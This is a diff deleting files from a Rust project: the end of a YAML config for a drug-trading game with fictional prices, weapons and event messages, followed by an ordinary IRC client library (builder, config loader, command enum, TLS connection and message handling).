||||
position:
|
||||
lat: 4.7110
|
||||
long: -74.0721
|
||||
- name: Johannesburg, South Africa
|
||||
position:
|
||||
lat: -26.2041
|
||||
long: 28.0473
|
||||
|
||||
drugs:
|
||||
- name: Cocaine
|
||||
price: 6500
|
||||
- name: Crack
|
||||
price: 8000
|
||||
- name: Ecstasy
|
||||
price: 3500
|
||||
- name: Estradiol
|
||||
price: 1000
|
||||
- name: Fentanyl
|
||||
price: 1300
|
||||
- name: Hashish
|
||||
price: 600
|
||||
- name: Heroin
|
||||
price: 4000
|
||||
- name: Ice
|
||||
price: 850
|
||||
- name: Kat
|
||||
price: 650
|
||||
- name: Krokodil
|
||||
price: 12
|
||||
- name: LSD
|
||||
price: 2200
|
||||
- name: MDA
|
||||
price: 3300
|
||||
- name: Morphine
|
||||
price: 6200
|
||||
- name: Mushrooms
|
||||
price: 550
|
||||
- name: Opium
|
||||
price: 400
|
||||
- name: PCP
|
||||
price: 1200
|
||||
- name: Peyote
|
||||
price: 800
|
||||
- name: Loud
|
||||
price: 420
|
||||
- name: Special K
|
||||
price: 2700
|
||||
- name: Speed
|
||||
price: 3900
|
||||
|
||||
items:
|
||||
|
||||
weapons:
|
||||
- name: Knife
|
||||
price: 100
|
||||
damage: 5
|
||||
- name: Pistol
|
||||
price: 500
|
||||
damage: 10
|
||||
ammo: Pistol round
|
||||
- name: Shotgun
|
||||
price: 2500
|
||||
damage: 15
|
||||
ammo: Shotgun shell
|
||||
- name: Machine gun
|
||||
price: 4000
|
||||
damage: 20
|
||||
ammo: Maching gun round
|
||||
- name: Flamethrower
|
||||
price: 7500
|
||||
damage: 25
|
||||
ammo: Gas canister
|
||||
- name: Rocket launcher
|
||||
price: 10000
|
||||
damage: 30
|
||||
ammo: Rocket
|
||||
- name: Area disrupter
|
||||
price: 500000
|
||||
damage: 80
|
||||
ammo: Energy globe
|
||||
|
||||
ammos:
|
||||
- name: Pistol round
|
||||
price: 5
|
||||
- name: Shotgun shell
|
||||
price: 8
|
||||
- name: Machine gun round
|
||||
price: 10
|
||||
- name: Gas canister
|
||||
price: 200
|
||||
- name: Rocket
|
||||
price: 500
|
||||
- name: Energy globe
|
||||
price: 25000
|
||||
|
||||
armors:
|
||||
- name: Leather coat
|
||||
price: 1000
|
||||
block: 20
|
||||
- name: Bulletproof vest
|
||||
price: 10000
|
||||
block: 40
|
||||
|
||||
no_scents:
|
||||
- name: Can of no-scent
|
||||
price: 1000
|
||||
capacity: 10
|
||||
|
||||
|
||||
messages:
|
||||
rumor_up_here:
|
||||
- You hear a rumor that %DRUG will be abundant tomorrow.
|
||||
rumor_down_here:
|
||||
- You hear a rumor that %DRUG will be scarce tomorrow.
|
||||
rumor_up_at:
|
||||
- You hear a rumor that %DRUG will be abundant in %LOCATION tomorrow.
|
||||
rumor_down_at:
|
||||
- You hear a rumor that %DRUG will be scarce in %LOCATION tomorrow.
|
||||
welcome:
|
||||
- Welcome to %LOCATION!
|
||||
price_up:
|
||||
- A boatload of %DRUG arrives.
|
||||
- A police warehouse is broken into and %DRUG is stolen.
|
||||
- A new source of %DRUG is found.
|
||||
- Crates of %DRUG were discovered floating in the ocean.
|
||||
price_up_end:
|
||||
- Prices are astronomical!
|
||||
- Prices are insanely high!
|
||||
- Prices are outrageous!
|
||||
- Prices go through the roof!
|
||||
- Prices are higher than the people who use your goods!
|
||||
price_down:
|
||||
- Gang warfare is keeping %DRUG off the streets.
|
||||
- Racoons broke into a crate of %DRUG, eating some and dying on the rest.
|
||||
- Cops burst into a %DRUG warehouse, seizing everything.
|
||||
- The smuggler of some %DRUG was killed by a rival dealer.
|
||||
- The pilot of a %DRUG shipment fell asleep and crashed.
|
||||
price_down_end:
|
||||
- Prices are lower than the Marianas Trench!
|
||||
- Prices nose dive!
|
||||
- Prices plummet!
|
||||
- Prices drop like lead balloons!
|
||||
- Prices are rock bottom!
|
||||
|
@ -1,11 +0,0 @@
|
||||
[package]
|
||||
name = "irc"
|
||||
version = "0.1.0"
|
||||
author = "wrk"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
serde = { version = "1.0.163", features = ["derive"] }
|
||||
serde_yaml = "0.9.21"
|
||||
typemap_rev = "0.3.0"
|
||||
native-tls = "0.2.11"
|
@ -1,145 +0,0 @@
|
||||
use std::collections::{HashMap, VecDeque};
|
||||
|
||||
use typemap_rev::{TypeMap, TypeMapKey};
|
||||
|
||||
use crate::{config::IrcConfig, Channel, Irc, System};
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct IrcBuilder {
|
||||
host: Option<String>,
|
||||
port: Option<u16>,
|
||||
ssl: Option<bool>,
|
||||
|
||||
channels: Vec<Channel>,
|
||||
|
||||
nick: Option<String>,
|
||||
user: Option<String>,
|
||||
real: Option<String>,
|
||||
|
||||
cmdkey: Option<String>,
|
||||
|
||||
data: TypeMap,
|
||||
default_system: Option<System>,
|
||||
systems: HashMap<String, System>,
|
||||
}
|
||||
|
||||
impl From<IrcConfig> for IrcBuilder {
|
||||
fn from(config: IrcConfig) -> Self {
|
||||
Self {
|
||||
host: Some(config.host),
|
||||
port: Some(config.port),
|
||||
ssl: Some(config.ssl),
|
||||
|
||||
channels: config.channels.into_iter().map(Channel::from).collect(),
|
||||
|
||||
nick: Some(config.nick),
|
||||
user: Some(config.user),
|
||||
real: Some(config.real),
|
||||
|
||||
cmdkey: Some(config.cmdkey),
|
||||
|
||||
data: TypeMap::default(),
|
||||
default_system: None,
|
||||
|
||||
systems: HashMap::default(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl IrcBuilder {
|
||||
pub fn new() -> Self {
|
||||
Self::default()
|
||||
}
|
||||
|
||||
pub fn host(&mut self, host: &str) -> &mut Self {
|
||||
self.host = Some(host.to_owned());
|
||||
self
|
||||
}
|
||||
|
||||
pub fn port(&mut self, port: u16) -> &mut Self {
|
||||
self.port = Some(port);
|
||||
self
|
||||
}
|
||||
|
||||
pub fn ssl(&mut self, ssl: bool) -> &mut Self {
|
||||
self.ssl = Some(ssl);
|
||||
self
|
||||
}
|
||||
|
||||
pub fn channel(&mut self, channel: &str, key: Option<&str>) -> &mut Self {
|
||||
self.channels.push(Channel {
|
||||
name: channel.to_owned(),
|
||||
key: if key.is_some() {
|
||||
Some(key.unwrap().to_owned())
|
||||
} else {
|
||||
None
|
||||
},
|
||||
});
|
||||
self
|
||||
}
|
||||
|
||||
pub fn nick(&mut self, nick: &str) -> &mut Self {
|
||||
self.nick = Some(nick.to_owned());
|
||||
self
|
||||
}
|
||||
|
||||
pub fn user(&mut self, user: &str) -> &mut Self {
|
||||
self.user = Some(user.to_owned());
|
||||
self
|
||||
}
|
||||
|
||||
pub fn real(&mut self, real: &str) -> &mut Self {
|
||||
self.real = Some(real.to_owned());
|
||||
self
|
||||
}
|
||||
|
||||
pub fn cmdkey(&mut self, cmdkey: &str) -> &mut Self {
|
||||
self.cmdkey = Some(cmdkey.to_owned());
|
||||
self
|
||||
}
|
||||
|
||||
pub fn add_resource<V: Send + Sync + 'static, T: TypeMapKey + TypeMapKey<Value = V>>(
|
||||
&mut self,
|
||||
resource: V,
|
||||
) -> &mut Self {
|
||||
self.data.insert::<T>(resource);
|
||||
self
|
||||
}
|
||||
|
||||
pub fn add_default_system(&mut self, func: System) -> &mut Self {
|
||||
self.default_system = Some(func);
|
||||
self
|
||||
}
|
||||
|
||||
pub fn add_system(&mut self, system_name: &str, func: System) -> &mut Self {
|
||||
self.systems.insert(system_name.to_owned(), func);
|
||||
self
|
||||
}
|
||||
|
||||
pub fn build(&mut self) -> Irc {
|
||||
Irc {
|
||||
stream: None,
|
||||
host: self.host.as_ref().unwrap().clone(),
|
||||
port: self.port.unwrap_or_default(),
|
||||
ssl: self.ssl.unwrap_or_default(),
|
||||
|
||||
channels: std::mem::take(&mut self.channels),
|
||||
|
||||
nick: self.nick.as_ref().unwrap().clone(),
|
||||
user: self.user.as_ref().unwrap().clone(),
|
||||
real: self.real.as_ref().unwrap().clone(),
|
||||
|
||||
cmdkey: self.cmdkey.as_ref().unwrap().clone(),
|
||||
|
||||
data: std::mem::take(&mut self.data),
|
||||
|
||||
default_system: self.default_system,
|
||||
systems: std::mem::take(&mut self.systems),
|
||||
|
||||
send_queue: VecDeque::new(),
|
||||
recv_queue: VecDeque::new(),
|
||||
|
||||
partial_line: String::new(),
|
||||
}
|
||||
}
|
||||
}
|
@ -1,35 +0,0 @@
|
||||
use std::{fs::File, io::Read};
|
||||
|
||||
use serde::Deserialize;
|
||||
|
||||
#[derive(Deserialize)]
|
||||
pub(crate) struct ChannelConfig {
|
||||
pub(crate) name: String,
|
||||
pub(crate) key: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Deserialize)]
|
||||
pub(crate) struct IrcConfig {
|
||||
pub(crate) host: String,
|
||||
pub(crate) port: u16,
|
||||
pub(crate) ssl: bool,
|
||||
|
||||
pub(crate) channels: Vec<ChannelConfig>,
|
||||
|
||||
pub(crate) nick: String,
|
||||
pub(crate) user: String,
|
||||
pub(crate) real: String,
|
||||
|
||||
pub(crate) cmdkey: String
|
||||
}
|
||||
|
||||
impl IrcConfig {
|
||||
pub fn from_file(path: &str) -> std::io::Result<Self> {
|
||||
let mut file = File::open(path)?;
|
||||
let mut contents = String::new();
|
||||
file.read_to_string(&mut contents)?;
|
||||
|
||||
let config: IrcConfig = serde_yaml::from_str(&contents).unwrap();
|
||||
Ok(config)
|
||||
}
|
||||
}
|
@ -1,242 +0,0 @@
|
||||
macro_rules! make_irc_command_enum {
|
||||
|
||||
($variant:ident) => {
|
||||
$variant
|
||||
};
|
||||
|
||||
($($variant:ident: $value:expr),+) => {
|
||||
#[allow(non_camel_case_types)]
|
||||
pub enum IrcCommand {
|
||||
UNKNOWN,
|
||||
$($variant),+
|
||||
}
|
||||
|
||||
impl From<&str> for IrcCommand {
|
||||
fn from(command_str: &str) -> Self {
|
||||
match command_str {
|
||||
$($value => Self::$variant,)+
|
||||
_ => Self::UNKNOWN,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
};
|
||||
}
|
||||
|
||||
make_irc_command_enum!(
|
||||
ADMIN: "ADMIN",
|
||||
AWAY: "AWAY",
|
||||
CNOTICE: "CNOTICE",
|
||||
CPRIVMSG: "CPRIVMSG",
|
||||
CONNECT: "CONNECT",
|
||||
DIE: "DIE",
|
||||
ENCAP: "ENCAP",
|
||||
ERROR: "ERROR",
|
||||
HELP: "HELP",
|
||||
INFO: "INFO",
|
||||
INVITE: "INVITE",
|
||||
ISON: "ISON",
|
||||
JOIN: "JOIN",
|
||||
KICK: "KICK",
|
||||
KILL: "KILL",
|
||||
KNOCK: "KNOCK",
|
||||
LINKS: "LINKS",
|
||||
LIST: "LIST",
|
||||
LUSERS: "LUSERS",
|
||||
MODE: "MODE",
|
||||
MOTD: "MOTD",
|
||||
NAMES: "NAMES",
|
||||
NICK: "NICK",
|
||||
NOTICE: "NOTICE",
|
||||
OPER: "OPER",
|
||||
PART: "PART",
|
||||
PASS: "PASS",
|
||||
PING: "PING",
|
||||
PONG: "PONG",
|
||||
PRIVMSG: "PRIVMSG",
|
||||
QUIT: "QUIT",
|
||||
REHASH: "REHASH",
|
||||
RULES: "RULES",
|
||||
SERVER: "SERVER",
|
||||
SERVICE: "SERVICE",
|
||||
SERVLIST: "SERVLIST",
|
||||
SQUERY: "SQUERY",
|
||||
SQUIT: "SQUIT",
|
||||
SETNAME: "SETNAME",
|
||||
SILENCE: "SILENCE",
|
||||
STATS: "STATS",
|
||||
SUMMON: "SUMMON",
|
||||
TIME: "TIME",
|
||||
TOPIC: "TOPIC",
|
||||
TRACE: "TRACE",
|
||||
USER: "USER",
|
||||
USERHOST: "USERHOST",
|
||||
USERIP: "USERIP",
|
||||
USERS: "USERS",
|
||||
VERSION: "VERSION",
|
||||
WALLOPS: "WALLOPS",
|
||||
WATCH: "WATCH",
|
||||
WHO: "WHO",
|
||||
WHOIS: "WHOIS",
|
||||
WHOWAS: "WHOWAS",
|
||||
RPL_WELCOME: "001",
|
||||
RPL_YOURHOST: "002",
|
||||
RPL_CREATED: "003",
|
||||
RPL_MYINFO: "004",
|
||||
RPL_BOUNCE: "005",
|
||||
RPL_TRACELINK: "200",
|
||||
RPL_TRACECONNECTING: "201",
|
||||
RPL_TRACEHANDSHAKE: "202",
|
||||
RPL_TRACEUNKNOWN: "203",
|
||||
RPL_TRACEOPERATOR: "204",
|
||||
RPL_TRACEUSER: "205",
|
||||
RPL_TRACESERVER: "206",
|
||||
RPL_TRACESERVICE: "207",
|
||||
RPL_TRACENEWTYPE: "208",
|
||||
RPL_TRACECLASS: "209",
|
||||
RPL_TRACERECONNECT: "210",
|
||||
RPL_STATSLINKINFO: "211",
|
||||
RPL_STATSCOMMANDS: "212",
|
||||
RPL_STATSCLINE: "213",
|
||||
RPL_STATSNLINE: "214",
|
||||
RPL_STATSILINE: "215",
|
||||
RPL_STATSKLINE: "216",
|
||||
RPL_STATSQLINE: "217",
|
||||
RPL_STATSYLINE: "218",
|
||||
RPL_ENDOFSTATS: "219",
|
||||
RPL_UMODEIS: "221",
|
||||
RPL_SERVICEINFO: "231",
|
||||
RPL_ENDOFSERVICES: "232",
|
||||
RPL_SERVICE: "233",
|
||||
RPL_SERVLIST: "234",
|
||||
RPL_SERVLISTEND: "235",
|
||||
RPL_STATSVLINE: "240",
|
||||
RPL_STATSLLINE: "241",
|
||||
RPL_STATSUPTIME: "242",
|
||||
RPL_STATSOLINE: "243",
|
||||
RPL_STATSHLINE: "244",
|
||||
RPL_STATSPING: "246",
|
||||
RPL_STATSBLINE: "247",
|
||||
RPL_STATSDLINE: "250",
|
||||
RPL_LUSERCLIENT: "251",
|
||||
RPL_LUSEROP: "252",
|
||||
RPL_LUSERUNKNOWN: "253",
|
||||
RPL_LUSERCHANNELS: "254",
|
||||
RPL_LUSERME: "255",
|
||||
RPL_ADMINME: "256",
|
||||
RPL_ADMINLOC1: "257",
|
||||
RPL_ADMINLOC2: "258",
|
||||
RPL_ADMINEMAIL: "259",
|
||||
RPL_TRACELOG: "261",
|
||||
RPL_TRACEEND: "262",
|
||||
RPL_TRYAGAIN: "263",
|
||||
RPL_NONE: "300",
|
||||
RPL_AWAY: "301",
|
||||
RPL_USERHOST: "302",
|
||||
RPL_ISON: "303",
|
||||
RPL_UNAWAY: "305",
|
||||
RPL_NOWAWAY: "306",
|
||||
RPL_WHOISUSER: "311",
|
||||
RPL_WHOISSERVER: "312",
|
||||
RPL_WHOISOPERATOR: "313",
|
||||
RPL_WHOWASUSER: "314",
|
||||
RPL_ENDOFWHO: "315",
|
||||
RPL_WHOISCHANOP: "316",
|
||||
RPL_WHOISIDLE: "317",
|
||||
RPL_ENDOFWHOIS: "318",
|
||||
RPL_WHOISCHANNELS: "319",
|
||||
RPL_LISTSTART: "321",
|
||||
RPL_LIST: "322",
|
||||
RPL_LISTEND: "323",
|
||||
RPL_CHANNELMODEIS: "324",
|
||||
RPL_UNIQOPIS: "325",
|
||||
RPL_NOTOPIC: "331",
|
||||
RPL_TOPIC: "332",
|
||||
RPL_INVITING: "341",
|
||||
RPL_SUMMONING: "342",
|
||||
RPL_INVITELIST: "346",
|
||||
RPL_ENDOFINVITELIST: "347",
|
||||
RPL_EXCEPTLIST: "348",
|
||||
RPL_ENDOFEXCEPTLIST: "349",
|
||||
RPL_VERSION: "351",
|
||||
RPL_WHOREPLY: "352",
|
||||
RPL_NAMREPLY: "353",
|
||||
RPL_KILLDONE: "361",
|
||||
RPL_CLOSING: "362",
|
||||
RPL_CLOSEEND: "363",
|
||||
RPL_LINKS: "364",
|
||||
RPL_ENDOFLINKS: "365",
|
||||
RPL_ENDOFNAMES: "366",
|
||||
RPL_BANLIST: "367",
|
||||
RPL_ENDOFBANLIST: "368",
|
||||
RPL_ENDOFWHOWAS: "369",
|
||||
RPL_INFO: "371",
|
||||
RPL_MOTD: "372",
|
||||
RPL_INFOSTART: "373",
|
||||
RPL_ENDOFINFO: "374",
|
||||
RPL_MOTDSTART: "375",
|
||||
RPL_ENDOFMOTD: "376",
|
||||
RPL_YOUREOPER: "381",
|
||||
RPL_REHASHING: "382",
|
||||
RPL_YOURESERVICE: "383",
|
||||
RPL_MYPORTIS: "384",
|
||||
RPL_TIME: "391",
|
||||
RPL_USERSSTART: "392",
|
||||
RPL_USERS: "393",
|
||||
RPL_ENDOFUSERS: "394",
|
||||
RPL_NOUSERS: "395",
|
||||
ERR_NOSUCHNICK: "401",
|
||||
ERR_NOSUCHSERVER: "402",
|
||||
ERR_NOSUCHCHANNEL: "403",
|
||||
ERR_CANNOTSENDTOCHAN: "404",
|
||||
ERR_TOOMANYCHANNELS: "405",
|
||||
ERR_WASNOSUCHNICK: "406",
|
||||
ERR_TOOMANYTARGETS: "407",
|
||||
ERR_NOSUCHSERVICE: "408",
|
||||
ERR_NOORIGIN: "409",
|
||||
ERR_NORECIPIENT: "411",
|
||||
ERR_NOTEXTTOSEND: "412",
|
||||
ERR_NOTOPLEVEL: "413",
|
||||
ERR_WILDTOPLEVEL: "414",
|
||||
ERR_BADMASK: "415",
|
||||
ERR_UNKNOWNCOMMAND: "421",
|
||||
ERR_NOMOTD: "422",
|
||||
ERR_NOADMININFO: "423",
|
||||
ERR_FILEERROR: "424",
|
||||
ERR_NONICKNAMEGIVEN: "431",
|
||||
ERR_ERRONEUSNICKNAME: "432",
|
||||
ERR_NICKNAMEINUSE: "433",
|
||||
ERR_NICKCOLLISION: "436",
|
||||
ERR_UNAVAILRESOURCE: "437",
|
||||
ERR_USERNOTINCHANNEL: "441",
|
||||
ERR_NOTONCHANNEL: "442",
|
||||
ERR_USERONCHANNEL: "443",
|
||||
ERR_NOLOGIN: "444",
|
||||
ERR_SUMMONDISABLED: "445",
|
||||
ERR_USERSDISABLED: "446",
|
||||
ERR_NOTREGISTERED: "451",
|
||||
ERR_NEEDMOREPARAMS: "461",
|
||||
ERR_ALREADYREGISTERED: "462",
|
||||
ERR_NOPERMFORHOST: "463",
|
||||
ERR_PASSWDMISMATCH: "464",
|
||||
ERR_YOUREBANNEDCREEP: "465",
|
||||
ERR_YOUWILLBEBANNED: "466",
|
||||
ERR_KEYSET: "467",
|
||||
ERR_CHANNELISFULL: "471",
|
||||
ERR_UNKNOWNMODE: "472",
|
||||
ERR_INVITEONLYCHAN: "473",
|
||||
ERR_BANNEDFROMCHAN: "474",
|
||||
ERR_BADCHANNELKEY: "475",
|
||||
ERR_BADCHANMASK: "476",
|
||||
ERR_NOCHANMODES: "477",
|
||||
ERR_BANLISTFULL: "478",
|
||||
ERR_NOPRIVILEGES: "481",
|
||||
ERR_CHANOPRIVSNEEDED: "482",
|
||||
ERR_CANTKILLSERVER: "483",
|
||||
ERR_RESTRICTED: "484",
|
||||
ERR_UNIQOPRIVSNEEDED: "485",
|
||||
ERR_NOOPERHOST: "491",
|
||||
ERR_NOSERVICEHOST: "492",
|
||||
ERR_UMODEUNKNOWNFLAG: "501",
|
||||
ERR_USERSDONTMATCH: "502"
|
||||
);
|
@ -1,477 +0,0 @@
|
||||
extern crate typemap_rev;
|
||||
|
||||
use std::{
|
||||
collections::{HashMap, VecDeque},
|
||||
error::Error,
|
||||
io::{ErrorKind, Read, Write},
|
||||
net::{TcpStream, ToSocketAddrs},
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
use builder::IrcBuilder;
|
||||
use config::{ChannelConfig, IrcConfig};
|
||||
use irc_command::IrcCommand;
|
||||
use native_tls::{TlsConnector, TlsStream};
|
||||
use typemap_rev::TypeMap;
|
||||
|
||||
pub mod builder;
|
||||
pub mod config;
|
||||
pub mod irc_command;
|
||||
|
||||
pub mod typemap {
|
||||
pub use typemap_rev::*;
|
||||
}
|
||||
|
||||
pub(crate) const MAX_MSG_LEN: usize = 512;
|
||||
pub(crate) type System = fn(&mut Irc, &IrcPrefix, Vec<&str>) -> Option<Vec<String>>;
|
||||
|
||||
pub enum Stream {
|
||||
Plain(TcpStream),
|
||||
Tls(TlsStream<TcpStream>),
|
||||
}
|
||||
|
||||
impl Stream {
|
||||
pub fn read(&mut self, buf: &mut [u8]) -> Result<usize, std::io::Error> {
|
||||
match self {
|
||||
Stream::Plain(stream) => stream.read(buf),
|
||||
Stream::Tls(stream) => stream.read(buf),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn write(&mut self, buf: &[u8]) -> Result<usize, std::io::Error> {
|
||||
match self {
|
||||
Stream::Plain(stream) => stream.write(buf),
|
||||
Stream::Tls(stream) => stream.write(buf),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Default)]
|
||||
pub struct IrcPrefix<'a> {
|
||||
pub nick: &'a str,
|
||||
pub user: Option<&'a str>,
|
||||
pub host: Option<&'a str>,
|
||||
}
|
||||
|
||||
impl<'a> From<&'a str> for IrcPrefix<'a> {
|
||||
fn from(prefix_str: &'a str) -> Self {
|
||||
let prefix_str = &prefix_str[1..];
|
||||
|
||||
let nick_split: Vec<&str> = prefix_str.split('!').collect();
|
||||
let nick = nick_split[0];
|
||||
|
||||
// we only have a nick
|
||||
if nick_split.len() == 1 {
|
||||
return Self {
|
||||
nick,
|
||||
..Default::default()
|
||||
};
|
||||
}
|
||||
|
||||
let user_split: Vec<&str> = nick_split[1].split('@').collect();
|
||||
let user = user_split[0];
|
||||
|
||||
// we don't have an host
|
||||
if user_split.len() == 1 {
|
||||
return Self {
|
||||
nick: nick,
|
||||
user: Some(user),
|
||||
..Default::default()
|
||||
};
|
||||
}
|
||||
|
||||
Self {
|
||||
nick: nick,
|
||||
user: Some(user),
|
||||
host: Some(user_split[1]),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub struct IrcMessage<'a> {
|
||||
prefix: Option<IrcPrefix<'a>>,
|
||||
command: IrcCommand,
|
||||
parameters: Vec<&'a str>,
|
||||
}
|
||||
|
||||
impl<'a> From<&'a str> for IrcMessage<'a> {
|
||||
fn from(line: &'a str) -> Self {
|
||||
let mut elements = line.split_whitespace();
|
||||
|
||||
let tmp = elements.next().unwrap();
|
||||
|
||||
if tmp.chars().next().unwrap() == ':' {
|
||||
return Self {
|
||||
prefix: Some(tmp.into()),
|
||||
command: elements.next().unwrap().into(),
|
||||
parameters: elements.collect(),
|
||||
};
|
||||
}
|
||||
|
||||
Self {
|
||||
prefix: None,
|
||||
command: tmp.into(),
|
||||
parameters: elements.collect(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct Channel {
|
||||
name: String,
|
||||
key: Option<String>,
|
||||
}
|
||||
|
||||
impl From<ChannelConfig> for Channel {
|
||||
fn from(channel_config: ChannelConfig) -> Self {
|
||||
Self {
|
||||
name: channel_config.name,
|
||||
key: channel_config.key,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub struct Irc {
|
||||
stream: Option<Stream>,
|
||||
host: String,
|
||||
port: u16,
|
||||
ssl: bool,
|
||||
|
||||
channels: Vec<Channel>,
|
||||
|
||||
nick: String,
|
||||
user: String,
|
||||
real: String,
|
||||
|
||||
cmdkey: String,
|
||||
|
||||
data: TypeMap,
|
||||
|
||||
default_system: Option<System>,
|
||||
systems: HashMap<String, System>,
|
||||
|
||||
send_queue: VecDeque<String>,
|
||||
recv_queue: VecDeque<String>,
|
||||
|
||||
partial_line: String,
|
||||
}
|
||||
|
||||
impl Irc {
|
||||
pub fn from_config(config_path: &str) -> IrcBuilder {
|
||||
let config = IrcConfig::from_file(config_path).unwrap();
|
||||
config.into()
|
||||
}
|
||||
|
||||
pub fn new() -> IrcBuilder {
|
||||
IrcBuilder::new()
|
||||
}
|
||||
|
||||
pub fn data(&self) -> &TypeMap {
|
||||
&self.data
|
||||
}
|
||||
|
||||
pub fn data_mut(&mut self) -> &mut TypeMap {
|
||||
&mut self.data
|
||||
}
|
||||
|
||||
pub fn connect(&mut self) -> Result<(), Box<dyn Error>> {
|
||||
let domain = format!("{}:{}", self.host, self.port);
|
||||
|
||||
let mut addrs = domain
|
||||
.to_socket_addrs()
|
||||
.expect("Unable to get addrs from domain {domain}");
|
||||
|
||||
let sock = addrs
|
||||
.next()
|
||||
.expect("Unable to get ip from addrs: {addrs:?}");
|
||||
|
||||
let stream = TcpStream::connect(sock)?;
|
||||
stream.set_nonblocking(true)?;
|
||||
|
||||
if self.ssl {
|
||||
let connector = TlsConnector::new().unwrap();
|
||||
let mut tls_stream = connector.connect(&self.host, stream);
|
||||
|
||||
while tls_stream.is_err() {
|
||||
tls_stream = match tls_stream.err().unwrap() {
|
||||
native_tls::HandshakeError::Failure(f) => panic!("{f}"),
|
||||
native_tls::HandshakeError::WouldBlock(mid_handshake) => {
|
||||
mid_handshake.handshake()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
self.stream = Some(Stream::Tls(tls_stream.unwrap()));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
self.stream = Some(Stream::Plain(stream));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn join(&mut self) {
|
||||
for i in 0..self.channels.len() {
|
||||
let channel = &self.channels[i];
|
||||
if channel.key.is_some() {
|
||||
self.queue(&format!(
|
||||
"JOIN {} {}",
|
||||
channel.name,
|
||||
channel.key.as_ref().unwrap()
|
||||
))
|
||||
} else {
|
||||
self.queue(&format!("JOIN {}", channel.name))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn join_manual(&mut self, channel: &str, key: Option<&str>) {
|
||||
if key.is_some() {
|
||||
self.queue(&format!("JOIN {} {}", channel, key.unwrap()));
|
||||
} else {
|
||||
self.queue(&format!("JOIN {}", channel));
|
||||
}
|
||||
}
|
||||
|
||||
pub fn register(&mut self) {
|
||||
self.queue(&format!("USER {} 0 * {}", self.user, self.real));
|
||||
self.queue(&format!("NICK {}", self.nick));
|
||||
}
|
||||
|
||||
pub fn run(&mut self) {
|
||||
// main loop!
|
||||
loop {
|
||||
self.recv().unwrap();
|
||||
self.send().unwrap();
|
||||
self.handle_commands();
|
||||
|
||||
std::thread::sleep(Duration::from_millis(50));
|
||||
}
|
||||
}
|
||||
|
||||
pub fn update(&mut self) {
|
||||
self.recv().unwrap();
|
||||
self.send().unwrap();
|
||||
self.handle_commands();
|
||||
}
|
||||
|
||||
fn recv(&mut self) -> Result<(), Box<dyn Error>> {
|
||||
let Some(stream) = &mut self.stream else { panic!("stream gwan boom."); };
|
||||
|
||||
let mut lines = VecDeque::new();
|
||||
|
||||
loop {
|
||||
let mut buf = [0; MAX_MSG_LEN];
|
||||
|
||||
let bytes_read = match stream.read(&mut buf) {
|
||||
Ok(bytes_read) => bytes_read,
|
||||
Err(err) => match err.kind() {
|
||||
ErrorKind::WouldBlock => {
|
||||
self.recv_queue.append(&mut lines);
|
||||
return Ok(());
|
||||
}
|
||||
_ => panic!("{:?}", err),
|
||||
},
|
||||
};
|
||||
|
||||
if bytes_read == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
let buf = &buf[..bytes_read];
|
||||
|
||||
let mut str_buf = self.partial_line.clone();
|
||||
str_buf += String::from_utf8_lossy(buf).into_owned().as_str();
|
||||
let new_lines: Vec<&str> = str_buf.split("\r\n").collect();
|
||||
let len = new_lines.len();
|
||||
|
||||
for (index, line) in new_lines.into_iter().enumerate() {
|
||||
if index == len - 1 {
|
||||
self.partial_line = line.to_owned();
|
||||
break;
|
||||
}
|
||||
lines.push_back(line.to_owned());
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn send(&mut self) -> Result<(), Box<dyn Error>> {
|
||||
let Some(stream) = &mut self.stream else { panic!("stream gwan boom."); };
|
||||
|
||||
while self.send_queue.len() > 0 {
|
||||
let msg = self.send_queue.pop_front().unwrap();
|
||||
|
||||
let bytes_written = match stream.write(msg.as_bytes()) {
|
||||
Ok(bytes_written) => bytes_written,
|
||||
Err(err) => match err.kind() {
|
||||
ErrorKind::WouldBlock => {
|
||||
println!("would block send.");
|
||||
return Ok(());
|
||||
}
|
||||
_ => panic!("{err}"),
|
||||
},
|
||||
};
|
||||
|
||||
if bytes_written < msg.len() {
|
||||
self.send_queue.push_front(msg[bytes_written..].to_owned());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn handle_commands(&mut self) {
|
||||
while self.recv_queue.len() != 0 {
|
||||
let owned_line = self.recv_queue.pop_front().unwrap();
|
||||
let line = owned_line.as_str();
|
||||
|
||||
println!("<< {:?}", line);
|
||||
|
||||
let message: IrcMessage = line.into();
|
||||
|
||||
self.handle_message(&message);
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_message(&mut self, message: &IrcMessage) {
|
||||
match message.command {
|
||||
IrcCommand::PING => self.event_ping(&message.parameters[0]),
|
||||
IrcCommand::RPL_WELCOME => self.event_welcome(),
|
||||
IrcCommand::ERR_NICKNAMEINUSE => self.update_nick(&format!("{}_", &self.nick)),
|
||||
IrcCommand::KICK => self.event_kick(
|
||||
message.parameters[0],
|
||||
message.parameters[1],
|
||||
&message.parameters[3..].join(" "),
|
||||
),
|
||||
IrcCommand::QUIT => self.event_quit(message.prefix.as_ref().unwrap()),
|
||||
IrcCommand::INVITE => self.event_invite(
|
||||
message.prefix.as_ref().unwrap(),
|
||||
&message.parameters[0][1..],
|
||||
),
|
||||
IrcCommand::PRIVMSG => self.event_privmsg(
|
||||
message.prefix.as_ref().unwrap(),
|
||||
&message.parameters[0],
|
||||
&message.parameters[1..].join(" ")[1..],
|
||||
),
|
||||
IrcCommand::JOIN => self.event_join(
|
||||
message.prefix.as_ref().unwrap(),
|
||||
&message.parameters[0][1..],
|
||||
),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
